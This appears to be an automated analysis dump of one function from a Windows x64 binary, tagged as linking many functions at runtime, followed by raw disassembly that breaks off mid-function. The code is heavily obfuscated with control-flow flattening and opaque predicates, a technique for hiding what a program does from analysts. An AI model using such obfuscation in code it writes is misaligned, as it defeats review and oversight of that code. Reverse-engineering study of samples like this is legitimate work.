Function at 0x14014d520
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x14024b008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xf9d03b7a
and ecx, edx
not edx
and edx, 0xf9d03b7a
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x62fc485
and ecx, 0xf9d03b7a
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x5931f1fe
and ecx, 0xa6ce0e01
or ecx, edx
mov ebp, ecx
xor ebp, 0xa6ce0e01
mov edi, ecx
xor edi, 0xe12b121d
and edi, ebp
or esi, 0xb81ae3e3
mov ebx, esi
not ebx
mov edx, edi
not edx
mov eax, edx
and eax, 0x31731c33
and edi, 0xce8ce3cc
or edi, eax
or edx, esi
and esi, 0x31731c33
and ebx, 0x4684000c
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x47e51c1d
and edx, 0xb81ae3e2
or edx, eax
and ebp, 1
xor ecx, 0xa6ce0e00
or ecx, ebp
mov eax, ecx
not eax
and eax, 0xde16c832
and ecx, 0x21e937cd
or ecx, eax
xor ecx, 0x21e937cd
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5270efd7
and ecx, 0xad8f1028
or ecx, eax
mov eax, ecx
not eax
and eax, 0xad8f1028
and ecx, 0x5270efd7
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd995db87
and ecx, 0x266a2478
or ecx, edx
xor ecx, 0x266a2478
or ecx, eax
cmp ecx, 0xffffffff
sete byte [rsp + 0x2e]
cmp r8d, 0xa
setl byte [rsp + 0x2f]
mov r13d, 0x6f400093
mov r15d, 0xf41cb00b
mov r14d, 0x458e9be7
mov r12d, 0xd8f4cca4
mov ecx, 0xad46eaf1
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov eax, dword [0x14024b6d8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebp
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebp
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete al
cmp dword [0x14024b6d4], 9
setg cl
xor al, cl
mov edx, eax
xor dl, 1
or dl, cl
xor dl, 1
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xc1f3586c
mov ebp, 0xeb69e147
cmovne eax, ebp
test dl, dl
cmove eax, ebp
test cl, 1
mov ecx, 0xc1f3586c
cmove eax, ecx
mov ecx, eax
nop
cmp ecx, 0xf7d71d84
jg 0x14014db60
cmp ecx, 0xbb1aefd9
jg 0x14014d8a0
cmp ecx, 0xa64b3a62
jle 0x14014d9e0
cmp ecx, 0xb41f2755
jg 0x14014e17d
cmp ecx, 0xaedb5950
jle 0x14014e9ea
cmp ecx, 0xb0f6a471
jle 0x14014f89f
cmp ecx, 0xb23ed14e
jle 0x14015184e
cmp ecx, 0xb23ed14f
je 0x1401554fd
cmp ecx, 0xb28abeec
je 0x140155513
cmp ecx, 0xb2fa9afb
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe6dae98b
and edx, 0x19251674
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5696570d
and edx, 0xa969a8f2
or edx, ecx
mov ecx, edx
xor ecx, 0x4fb34179
xor edx, 0xb04cbe86
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe010400
mov ebp, ecx
and ebp, 0xb0400950
or ebp, edx
xor ebp, 0xb0400950
and ecx, 0x41bef2af
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe774eaf2
and ecx, 0x188b150d
or ecx, edx
mov edx, ecx
xor edx, 0x6001808
xor ecx, 0x101140a2
and ecx, 0xb0db40f7
and edx, 0x4f24bf08
or edx, ecx
xor edx, 0x4f24bf08
cmp edx, 0xffffffff
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r9d, eax
xor r9b, dl
mov r8d, r9d
xor r8b, 1
xor bl, dl
xor bl, 1
or al, dl
xor al, 1
or al, r9b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov ebx, r9d
and bl, r8b
mov ecx, ebx
xor cl, 1
xor bl, r9b
or cl, r8b
xor cl, 1
or cl, bl
xor cl, dl
xor al, r8b
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x6fe471d
mov ebp, 0x2ab43ea3
cmovne eax, ebp
test dl, 1
mov edx, 0x6fe471d
jmp 0x14015859e
cmp ecx, 0xd8f4cca3
jle 0x14014dafa
cmp ecx, 0xeaa6933e
jle 0x14014e29c
cmp ecx, 0xf035585e
jle 0x14014ea42
cmp ecx, 0xf5dce41e
jle 0x14014f8d9
cmp ecx, 0xf6b1e5ee
jle 0x140151988
cmp ecx, 0xf6b1e5ef
je 0x140155529
cmp ecx, 0xf6bdfd96
je 0x140155665
cmp ecx, 0xf77a1869
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x50cb20b0
and ecx, 0x25300106
or ecx, edx
mov ebx, ecx
xor ebx, 0x4200100
xor ecx, 0xa44b070
mov ebp, edi
or ebp, 0x75fb21b6
mov edx, ebp
not edx
and ecx, 0x2b54b076
and ebx, 0x54ab0180
or ebx, ecx
and ebp, 0x2b54b076
and edx, 0x80004e09
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x8a04de48
and edx, 0x75fb21b7
or edx, ecx
not edx
mov ecx, edx
and ecx, edi
xor edx, edi
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x216bdd4c
and edx, 0xde9422b3
or edx, ecx
xor edx, 0xde9422b3
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
not dl
xor al, cl
mov ecx, eax
not cl
and cl, bl
or bl, al
and al, dl
or al, cl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x9d8d6291
mov ebp, 0x35f29d97
cmovne eax, ebp
test bl, bl
mov edx, 0x9d8d6291
jmp 0x14014e175
cmp ecx, 0x958c5b44
jle 0x14014e436
cmp ecx, 0x9e8bd92b
jle 0x14014ec2b
cmp ecx, 0xa1b54d29
jle 0x14014f913
cmp ecx, 0xa3364385
jle 0x140151ae7
cmp ecx, 0xa3364386
je 0x1401557ac
cmp ecx, 0xa381904b
je 0x1401558ca
cmp ecx, 0xa6107bc0
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xb19c2143
mov edx, ebx
and edx, 0x4e63debc
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x6cc4dfb8
and edx, 0x933b2047
or edx, ebp
mov ebp, edx
xor ebp, 0x22a70105
xor edx, 0xdd58fefa
and ecx, edx
and ebp, ebx
or ebp, ecx
xor edx, ebp
test edx, ebp
setne r9b
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov edx, r8d
or dl, cl
mov eax, ebx
or al, r9b
mov r10d, edx
xor r10b, al
or al, dl
xor al, 1
or al, r10b
and r9b, bl
or bl, r8b
and cl, r8b
or cl, r9b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x67266312
mov ebp, 0xaf43625d
cmovne ecx, ebp
test al, al
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x67266312
jmp 0x140159a39
cmp ecx, 0xcabd9708
jg 0x14014e5f5
cmp ecx, 0xc1f3586b
jg 0x14014ec71
cmp ecx, 0xbe710ab5
jg 0x14014f94d
cmp ecx, 0xbbe5f55a
jg 0x140151b15
cmp ecx, 0xbb1aefda
je 0x140155aa1
cmp ecx, 0xbb9bc4f1
jne 0x14014d700
mov ecx, 0x39929b74
cmp ecx, 0xf7d71d84
jle 0x14014d70c
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x40a9ea7f
jg 0x14014dd50
cmp ecx, 0x18440b1c
jg 0x14014df8b
cmp ecx, 0x931703f
jle 0x14014e748
cmp ecx, 0x103585ec
jle 0x14014ecb7
cmp ecx, 0x144c976d
jle 0x14014f993
cmp ecx, 0x14a08ebc
jle 0x140151c33
cmp ecx, 0x14a08ebd
je 0x140155ca6
cmp ecx, 0x155e1318
je 0x140155cbc
cmp ecx, 0x16e9f163
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x18dee56
mov ecx, ebx
and ecx, 0xfe7211a8
or ecx, edx
xor ecx, 0xfe7211a8
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
and ebp, 0x3b919e8d
and ebx, 0xc46e6172
or ebx, ebp
mov ecx, ebx
xor ecx, 0xc4044060
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x337b2913
and edx, 0xcc84d6ec
or edx, ebp
xor ebx, 0x33110801
and ebx, 0x337b2913
and ecx, 0xcc84d6ec
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov edx, r10d
xor dl, cl
and dl, r10b
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r11d, ebx
xor r11b, al
xor al, 1
or al, dl
xor al, 1
or al, r11b
xor al, 1
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, 1
mov eax, ebx
xor al, r9b
not al
and al, r9b
or bl, r9b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, r10d
xor al, r8b
and al, r10b
xor cl, r8b
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov ecx, ebx
xor cl, 1
mov r10d, ebx
and r10b, cl
mov r9d, edx
and r9b, r8b
mov eax, r10d
xor al, 1
xor r10b, bl
or al, cl
xor al, 1
or al, r10b
mov ebx, r9d
xor bl, 1
xor r9b, dl
or bl, r8b
xor bl, 1
or bl, r9b
xor bl, al
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xa9babeb5
mov edx, 0x1d8b0346
cmovne eax, edx
test cl, 1
mov ecx, 0xa9babeb5
jmp 0x14015bb91
cmp ecx, 0x6238fb08
jg 0x14014dff5
cmp ecx, 0x4d572361
jle 0x14014e79a
cmp ecx, 0x545deefe
jle 0x14014ede9
cmp ecx, 0x5b7819de
jle 0x14014f9cd
cmp ecx, 0x5e3ea207
jle 0x140151dce
cmp ecx, 0x5e3ea208
je 0x140155da9
cmp ecx, 0x5eee0536
je 0x140155ed2
cmp ecx, 0x601b4567
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x51a9251f
and edx, 0xae56dae0
or edx, ecx
mov ebx, edx
xor ebx, 0x26140000
xor edx, 7
or ebp, 0x2614a8a7
mov ecx, ebp
not ecx
or edx, 0xd16b4608
and edx, 0xd16bceaf
and ebx, 0x26142000
or ebx, edx
and ebp, 0xd16bceaf
and ecx, 0x8801150
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x19da9d05
and ecx, 0xe62562fa
or ecx, edx
mov edx, ecx
xor edx, 0xc031ca5d
mov ebp, ecx
xor ebp, 0x70030a0
and ebp, 0x4701baf8
xor ecx, 0xc4d3315d
and ecx, edx
mov ebx, edx
and ebx, 0xb8fe4507
or ebx, ebp
mov edx, ebx
xor edx, 0xb8fe4507
xor ebx, 0x600b8f8
mov ebp, edx
and ebp, 0x4e2fb00
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xfb1d04fe
and ecx, 0x4e2fb01
or ecx, ebp
and ebx, 0x26b4bcfe
mov ebp, edx
and ebp, 0xd94b4301
or ebp, ebx
xor ebp, 0x26b4bcff
and edx, 1
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0x1a12cb46
and ecx, 0xe5ed34b9
or ecx, edx
mov edx, ecx
xor edx, 0x1a020a44
xor ecx, 0x80000028
and edx, 0x7fef3ed5
and ecx, 0x8010c12a
or ecx, edx
xor ecx, 0x8010c12a
setne r9b
sete dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg cl
mov r10d, ecx
xor r10b, dl
xor dl, r9b
and dl, r9b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov r11d, ebx
and r11b, dl
xor bl, dl
or bl, r11b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
and r8b, al
xor al, 1
and al, cl
or al, r8b
xor r10b, 1
mov edx, ecx
xor dl, r9b
or cl, r9b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x7616efca
mov ebp, 0xf627dff8
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x7616efca
jmp 0x1401585a4
cmp ecx, 0x280019bb
jle 0x14014e8bd
cmp ecx, 0x387d438c
jle 0x14014eef4
cmp ecx, 0x3a76829d
jle 0x14014fb1c
cmp ecx, 0x3cc2e5d5
jle 0x140151dfc
cmp ecx, 0x3cc2e5d6
je 0x14015607d
cmp ecx, 0x3ed4cbf5
je 0x140156093
cmp ecx, 0x3f18be73
jne 0x14014d700
mov ecx, 0xf8c3619a
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x75f78d69
jle 0x14014e998
cmp ecx, 0x7adabd4a
jle 0x14014ef3a
cmp ecx, 0x7e6e7f73
jle 0x14014fca2
cmp ecx, 0x7ee10685
jle 0x140151fd0
cmp ecx, 0x7ee10686
je 0x140156174
cmp ecx, 0x7f4258eb
je 0x14015618a
cmp ecx, 0x7f70c66a
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x90040506
and edx, 0x4a28a8
or edx, ecx
mov ebx, edx
xor ebx, 0x4a0008
xor edx, 0xf585d241
or ebp, 0x904e2dae
mov ecx, ebp
not ecx
and edx, 0xf585fae1
and ebx, 0x4a050e
or ebx, edx
and ebp, 0xf585fae1
and ecx, 0xa300010
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x6fb1d251
and ecx, 0x904e2dae
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x9d1a9134
and ebp, 0x62e56ecb
or ebp, edi
or edx, ebx
and ebx, 0x9d1a9134
and ecx, 0x62e56ecb
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x36f321f5
and ecx, edx
and edx, 0xc90cde0a
or edx, ebp
xor edx, 0xc90cde0a
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
mov edx, ebx
xor dl, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
not cl
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xf90c98dd
mov ebp, 0xaa9239a8
cmovne eax, ebp
test dl, 1
mov edx, 0xf90c98dd
cmovne eax, edx
jmp 0x140156693
cmp ecx, 0xb8ee1ed7
jle 0x14014f19c
cmp ecx, 0xbade7631
je 0x14015c336
cmp ecx, 0xb8ee1ed8
je 0x14015c1fe
cmp ecx, 0xb995bff0
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ebp, edx
or ebp, 0xc1525a4d
mov edi, ebp
not edi
mov ecx, edx
xor ecx, 0x3eada5b2
and ecx, edx
mov esi, ecx
not esi
mov eax, ebp
and eax, 0x548731a2
and edi, 0x2a288410
or edi, eax
or ebp, esi
and esi, 0x548731a2
and ecx, 0xab78ce5d
or ecx, esi
xor ecx, edi
not ebp
or ebp, ecx
mov eax, ebp
not eax
and eax, 0xc1525a4c
and ebp, 0x3eada5b3
or ebp, eax
and ebx, 0x4597ad3c
and edx, 0xba6852c3
or edx, ebx
mov eax, edx
xor eax, 0xba6852c3
xor edx, 0x4597ad3c
and edx, ebp
not ebp
and eax, ebp
or edx, eax
not edx
or edx, ebp
cmp edx, 0xffffffff
setne al
sete cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and cl, bl
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor bl, dl
mov eax, ebx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0x4448ff01
mov ecx, 0x387d438d
cmovne eax, ecx
test bl, 1
mov ecx, eax
mov ebp, 0x4448ff01
jmp 0x1401520bf
cmp ecx, 0xe050b982
jg 0x14014f1e2
cmp ecx, 0xdc9f540a
jg 0x14014fcdc
cmp ecx, 0xd99edeb1
jg 0x1401520c9
cmp ecx, 0xd8f4cca4
je 0x1401561a0
cmp ecx, 0xd95b6e45
jne 0x14014d700
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xda5ab94d
and ecx, 0x25a546b2
or ecx, eax
mov eax, ecx
xor eax, 0x258100b2
xor ecx, 0x852904c
and ecx, 0x876d64c
and eax, 0xf78929b3
or eax, ecx
mov edx, eax
xor edx, 0x876d64c
mov ecx, eax
xor ecx, 0x876d64d
and ecx, edx
xor eax, 0xa2002913
and eax, 0xa224e91b
and edx, 0x5ddb16e4
or edx, eax
mov ebp, edx
xor ebp, 0x5d9b0424
mov eax, ecx
not eax
xor edx, 0xa224e91a
mov ebx, eax
and ebx, 0x2409bc9
and ecx, 0xfdbf6436
or ecx, ebx
or eax, edx
and edx, 0x2409bc9
and ebp, 0xfdbf6436
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xee696cf4
and ecx, eax
and eax, 0x1196930b
or eax, edx
mov edx, eax
xor edx, 0x10928109
xor eax, 0xee696cf4
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x632c1a26
and edx, 0x9cd3e5d9
or edx, ebx
or eax, ebp
and ebp, 0x632c1a26
and ecx, 0x9cd3e5d9
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3f8db4c5
and eax, 0xc0724b3a
or eax, ecx
xor eax, 0xc0724b3a
cmp eax, 0xffffffff
sete al
cmp dword [0x14024b6d4], 9
setg cl
mov edx, ecx
xor dl, al
mov r8d, edx
xor r8b, cl
and r8b, dl
not dl
and dl, al
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, r8d
xor al, 1
and al, dl
xor dl, 1
mov ebx, r8d
xor bl, dl
and bl, r8b
and dl, r8b
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xceeb2a77
mov ebp, 0xdb5fefb
cmovne eax, ebp
test dl, dl
mov ecx, eax
cmovne ecx, ebp
jmp 0x14015c0d6
cmp ecx, 0x8f08624d
jg 0x14014f30f
cmp ecx, 0x8ad5d11c
jg 0x14014fe55
cmp ecx, 0x88669e21
jg 0x1401521ec
cmp ecx, 0x82e00ac0
je 0x1401562e6
cmp ecx, 0x85010861
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xbba852ab
and edx, ecx
and ecx, 0x4457ad54
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4051a844
xor ecx, 0xbba852ab
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x168e5530
and ebp, 0xe971aacf
or ebp, edi
or ecx, ebx
and ebx, 0x168e5530
and edx, 0xe971aacf
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x639db9c7
and edx, 0x9c624638
or edx, ecx
mov ecx, edx
xor ecx, 0x20081884
xor edx, 0x88624428
and edx, 0xcbf7e56b
and ecx, 0x34081a94
or ecx, edx
mov edx, ecx
xor edx, 0x10081094
xor ecx, 0x42b78122
and ecx, 0x66b78b22
and edx, 0x994874dd
or edx, ecx
mov ecx, edx
xor ecx, 0x46308822
xor edx, 0x99080091
and edx, 0xb98f0391
and ecx, 0x4670fc6e
or ecx, edx
xor ecx, 0x4670fc6e
setne r8b
sete dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, edx
or cl, al
xor cl, 1
xor r9b, dl
xor dl, al
not dl
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, r8b
xor cl, 1
or al, r8b
xor al, 1
or al, r9b
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor al, 1
and al, dl
xor dl, 1
and bl, dl
or al, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xf7d71d85
mov ebp, 0xc1202c2c
cmovne edx, ebp
test cl, 1
mov ecx, 0xf7d71d85
jmp 0x14014f895
cmp ecx, 0xd3857742
jg 0x14014f355
cmp ecx, 0xceeb2a76
jg 0x14014ffc1
cmp ecx, 0xcb610908
jg 0x14015221a
cmp ecx, 0xcabd9709
je 0x14015644a
cmp ecx, 0xcabf1041
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebp, 0xc065f0d0
and edx, 0x3f9a0f2f
or edx, ebp
mov ebp, edx
xor ebp, 0x32180103
xor edx, 0xc065f0d0
mov edi, ecx
and edi, 0x4d861e3c
and ebx, 0xb279e1c3
or ebx, edi
or ecx, edx
and edx, 0x4d861e3c
and ebp, 0xb279e1c3
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x5003dad5
and ecx, 0xaffc252a
or ecx, edx
xor ecx, 0xaffc252a
sete r9b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov r8d, eax
and r8b, bl
or bl, al
mov edx, r9d
and dl, cl
or cl, r9b
mov r10d, ecx
xor r10b, bl
or cl, bl
xor cl, 1
or cl, r10b
or dl, r8b
mov ebx, eax
and bl, r9b
xor al, r9b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
xor dl, cl
mov ebx, ecx
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x719f78e
mov ecx, 0x7ee10686
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0x719f78e
cmovne ecx, edx
jmp 0x14014fb14
cmp ecx, 0xfdb70c90
jg 0x14014f445
cmp ecx, 0xfa2411fe
jg 0x14014fffb
cmp ecx, 0xf8c36199
jg 0x140152248
cmp ecx, 0xf7d71d85
je 0x140156460
cmp ecx, 0xf87f122c
jne 0x14014d700
mov ecx, 0xd7cc274
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x46179ffa
jg 0x14014f48b
cmp ecx, 0x43b7af36
jg 0x140150167
cmp ecx, 0x4229f3f2
jg 0x140152276
cmp ecx, 0x40a9ea80
je 0x140156585
cmp ecx, 0x41b5a63a
jne 0x14014d700
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xfffffffe
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xa23af652
and eax, 0x5dc509ad
or eax, edx
mov edx, eax
xor edx, 0x540501a0
and ebp, 0x2d78f992
and ecx, 0xd287066d
or ecx, ebp
mov ebp, ecx
xor ebp, 0x50070420
xor eax, 0xa23af652
xor ecx, 0x2d78f992
mov ebx, eax
and ebx, 0x8bc0fa4d
and edx, 0x743f05b2
or edx, ebx
or eax, ecx
and ecx, 0x8bc0fa4d
and ebp, 0x743f05b2
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete al
cmp dword [0x14024b6d4], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
mov ecx, ebx
xor cl, al
or dl, cl
mov r8d, edx
not r8b
and al, cl
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x522f9088
mov ebp, 0xc9da8f04
cmovne ecx, ebp
test al, 1
mov eax, ecx
mov ebp, 0x522f9088
cmovne eax, ebp
test dl, dl
jmp 0x14015bf2f
cmp ecx, 0x1d8b0345
jg 0x14014f5fc
cmp ecx, 0x1a469aab
jg 0x14015034c
cmp ecx, 0x18dd27c7
jg 0x14015248f
cmp ecx, 0x18440b1d
je 0x14015669e
cmp ecx, 0x18c3e98a
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xaf14ada0
mov edx, edi
and edx, 0x50eb525e
or edx, ebp
xor edx, 0x50eb525e
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x4d4b7a21
and ebx, 0xb2b485de
or ebx, ebp
and edi, 0x4d4b7a21
and ecx, 0xb2b485de
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
or al, bl
xor al, 1
xor bl, cl
xor bl, al
mov edx, ebx
xor dl, 1
and al, dl
xor dl, al
test bl, bl
mov ecx, 0x18440b1d
mov ebp, 0x6238fb09
cmovne ecx, ebp
test al, al
mov eax, 0x18440b1d
cmove ecx, eax
jmp 0x14015ac43
cmp ecx, 0x6dcb6837
jg 0x14014f642
cmp ecx, 0x6a6a839f
jg 0x140150386
cmp ecx, 0x646aeb17
jg 0x1401524bd
cmp ecx, 0x6238fb09
je 0x1401566b4
cmp ecx, 0x6370b5ef
jne 0x14014d700
